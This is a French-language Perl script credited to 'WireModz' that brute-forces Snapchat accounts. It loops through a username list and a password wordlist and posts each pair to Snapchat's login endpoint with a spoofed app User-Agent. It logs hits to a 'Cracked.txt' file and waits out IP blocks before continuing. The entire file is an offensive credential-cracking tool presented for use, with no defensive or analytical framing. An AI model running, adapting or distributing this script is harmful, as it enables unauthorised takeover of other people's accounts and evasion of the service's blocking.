use LWP::UserAgent;
system('clear');
system('cls');
system('color 5');
print qq(
################################
#BruteForce SC using (Snapchat)#
################################
#     Coded By WireModz     #
################################
#                              #
#   Instagram : hydra.sec      #
#   Crée : 2Décembre 2016      #
#                              #
################################
Entrer [CTRL+C] pour quitter :0\n);
print qq(
Entrez le du fichier users :
> );
$usernames=<STDIN>;
chomp($usernames);
open (USERFILE, "<$usernames") || die "[-] Impossible de trouver ($usernames) !";
@USERS = <USERFILE>;
close USERFILE;
print qq(
entre le nom de votre wordlist :
> );
$passwords=<STDIN>;
chomp($passwords);
open (PASSFILE, "<$passwords") || die "[-] Impossible de trouver ($passwords) !";
@PASSS = <PASSFILE>;
close PASSFILE;
system('clear');
system('cls');
print "\nPseudo: ($usernames)\nMot de passe: ($passwords)\n--------\nCrack en cours !..\n";
######################
foreach $password (@PASSS) {
chomp $password;
	foreach $username (@USERS) {
	chomp $username;
		#####################3
		$snapchat = LWP::UserAgent->new();
		$snapchat->default_header('Accept-Language' => 'en;q=0.9');
		$snapchat->default_header('User-Agent' => 'Snapchat/8.8.0.0 (SM-G900F; Android 5.0#G900FXXS1BPCL#21; gzip)');
		$response = $snapchat->post('https://app.snapchat.com/loq/login',
			{
			password => $password,
			req_token => '9304d151ced17c086eed4ae4ffa57304c7e64d821980ca8b69b43b14ddc5188b',
			timestamp => '1509567052943',
			username => $username
			}
			);
		$code = $response->status_line();
		if($code=~/200/){
			if($response->content=~/Merci!/){
				print "\n-----\nSuccèes -> ($username:$password)\n-----\n";
				open(R0T,">>Cracked.txt");
				print R0T "\n($username:$password)";
				close(R0T);
				sleep(2)
			}
			else
			{
				if($response->content=~/password is incorrect/){
					print "Failed -> ($username:$password)\n";
				}
				else
				{
					if($response->content=~/Invalid account/){
						print "Invalid account -> ($username)\n";
					}
					else
					{
						print $response->content();
						print "\n";
					}
				}
			}
		}
		else
		{
			print "\n-----\nDésolée votre ip a été [Blocked]\nattendez le temps de by-pass le blockage !...\n-----\n";
			sleep(18);
		}
	}
}